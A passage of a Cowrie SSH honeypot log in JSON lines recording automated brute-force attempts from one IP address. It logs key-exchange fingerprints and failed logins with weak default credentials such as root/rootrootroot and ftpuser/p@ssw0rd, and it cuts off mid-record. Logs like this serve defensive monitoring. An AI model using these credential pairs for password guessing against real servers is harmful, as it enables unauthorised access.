{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:31.432172Z","src_ip":"192.109.200.78","session":"9c967d33e36b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:31.675479Z","src_ip":"192.109.200.78","session":"9c967d33e36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:32.761766Z","src_ip":"192.109.200.78","session":"9c967d33e36b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43510,"dst_ip":"10.17.0.5","dst_port":22,"session":"d33c386c0202","protocol":"ssh","message":"New connection: 192.109.200.78:43510 (10.17.0.5:22) [session: d33c386c0202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:34.777586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:34.782659Z","src_ip":"192.109.200.78","session":"d33c386c0202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:34.864305Z","src_ip":"192.109.200.78","session":"d33c386c0202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:35.118836Z","src_ip":"192.109.200.78","session":"d33c386c0202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:36.202845Z","src_ip":"192.109.200.78","session":"d33c386c0202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43536,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e30b958d228","protocol":"ssh","message":"New connection: 192.109.200.78:43536 (10.17.0.5:22) [session: 7e30b958d228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:38.458908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:38.463316Z","src_ip":"192.109.200.78","session":"7e30b958d228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:38.545654Z","src_ip":"192.109.200.78","session":"7e30b958d228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:38.796701Z","src_ip":"192.109.200.78","session":"7e30b958d228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:39.882120Z","src_ip":"192.109.200.78","session":"7e30b958d228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34086,"dst_ip":"10.17.0.5","dst_port":22,"session":"54b31dc2b4f6","protocol":"ssh","message":"New connection: 192.109.200.78:34086 (10.17.0.5:22) [session: 54b31dc2b4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:41.920709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:41.923645Z","src_ip":"192.109.200.78","session":"54b31dc2b4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:42.007464Z","src_ip":"192.109.200.78","session":"54b31dc2b4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"p@ssw0rd","message":"login attempt [ftpuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:42.252686Z","src_ip":"192.109.200.78","session":"54b31dc2b4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:43.338314Z","src_ip":"192.109.200.78","session":"54b31dc2b4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34114,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd9a5c6c1a21","protocol":"ssh","message":"New connection: 192.109.200.78:34114 (10.17.0.5:22) [session: dd9a5c6c1a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:45.327441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:45.450358Z","src_ip":"192.109.200.78","session":"dd9a5c6c1a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:45.453416Z","src_ip":"192.109.200.78","session":"dd9a5c6c1a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:45.849393Z","src_ip":"192.109.200.78","session":"dd9a5c6c1a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:46.932836Z","src_ip":"192.109.200.78","session":"dd9a5c6c1a21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34140,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac2a7d759dac","protocol":"ssh","message":"New connection: 192.109.200.78:34140 (10.17.0.5:22) [session: ac2a7d759dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:48.907128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:48.913339Z","src_ip":"192.109.200.78","session":"ac2a7d759dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:48.996028Z","src_ip":"192.109.200.78","session":"ac2a7d759dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:49.245510Z","src_ip":"192.109.200.78","session":"ac2a7d759dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:50.331634Z","src_ip":"192.109.200.78","session":"ac2a7d759dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33278,"dst_ip":"10.17.0.5","dst_port":22,"session":"8245697c3efd","protocol":"ssh","message":"New connection: 192.109.200.78:33278 (10.17.0.5:22) [session: 8245697c3efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:52.322591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:52.326674Z","src_ip":"192.109.200.78","session":"8245697c3efd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:52.408466Z","src_ip":"192.109.200.78","session":"8245697c3efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:52.655082Z","src_ip":"192.109.200.78","session":"8245697c3efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:53.739091Z","src_ip":"192.109.200.78","session":"8245697c3efd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33280,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a622b5b91f","protocol":"ssh","message":"New connection: 192.109.200.78:33280 (10.17.0.5:22) [session: 69a622b5b91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:55.887916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:55.913954Z","src_ip":"192.109.200.78","session":"69a622b5b91f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:56.348618Z","src_ip":"192.109.200.78","session":"69a622b5b91f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:56.601446Z","src_ip":"192.109.200.78","session":"69a622b5b91f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:57.685390Z","src_ip":"192.109.200.78","session":"69a622b5b91f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33296,"dst_ip":"10.17.0.5","dst_port":22,"session":"318c957dc81e","protocol":"ssh","message":"New connection: 192.109.200.78:33296 (10.17.0.5:22) [session: 318c957dc81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:59.337623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:59.342384Z","src_ip":"192.109.200.78","session":"318c957dc81e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38268,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf7110b05f64","protocol":"ssh","message":"New connection: 103.82.132.16:38268 (159.203.135.109:22) [session: bf7110b05f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:59.371129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:59.374979Z","src_ip":"103.82.132.16","session":"bf7110b05f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-n